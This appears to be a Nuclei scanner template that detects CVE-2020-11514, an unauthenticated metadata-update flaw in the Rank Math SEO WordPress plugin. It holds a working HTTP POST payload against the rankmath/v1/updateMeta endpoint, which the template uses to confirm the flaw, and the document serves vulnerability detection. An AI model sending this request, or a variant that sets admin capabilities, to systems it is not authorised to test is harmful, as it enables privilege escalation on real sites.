CVE-2020-11514: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint

id: CVE-2020-11514

info:
  name: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint
  author: s4e-io
  severity: critical
  description: |
    The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.
  reference:
    - https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
    - https://rankmath.com/changelog/
    - https://wordpress.org/plugins/seo-by-rank-math/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11514
    cwe-id: CWE-862
    epss-score: 0.56628
    epss-percentile: 0.98011
    cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: rankmath
    product: seo
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
  tags: cve,cve2020,wordpress,wordfence,seo-by-rank-math,wp-plugin,priv-esc,unauth,vkev,vuln

variables:
  objecttype: "{{randstr}}"
  rank: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/seo-by-rank-math/readme.txt"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Rank Math")'
        condition: and

  - raw:
      - |
        POST /wp-json/rankmath/v1/updateMeta HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "objectID": "{{rand_int(1)}}",
          "objectType": "{{objecttype}}",
          "meta": {
            "rank_math_capabilities": ["{{rank}}"]
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "true")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and
# digest: 4b0a004830460221008412086292ac5ea82a71945c1f6270d583643858ab553f94120f6b433708e5be022100cd551e88430f2dc5df8c06c0267f3dea5ef52d743b81cc6670d24d1be968436e:922c64590222798bb761d5b6d8e72950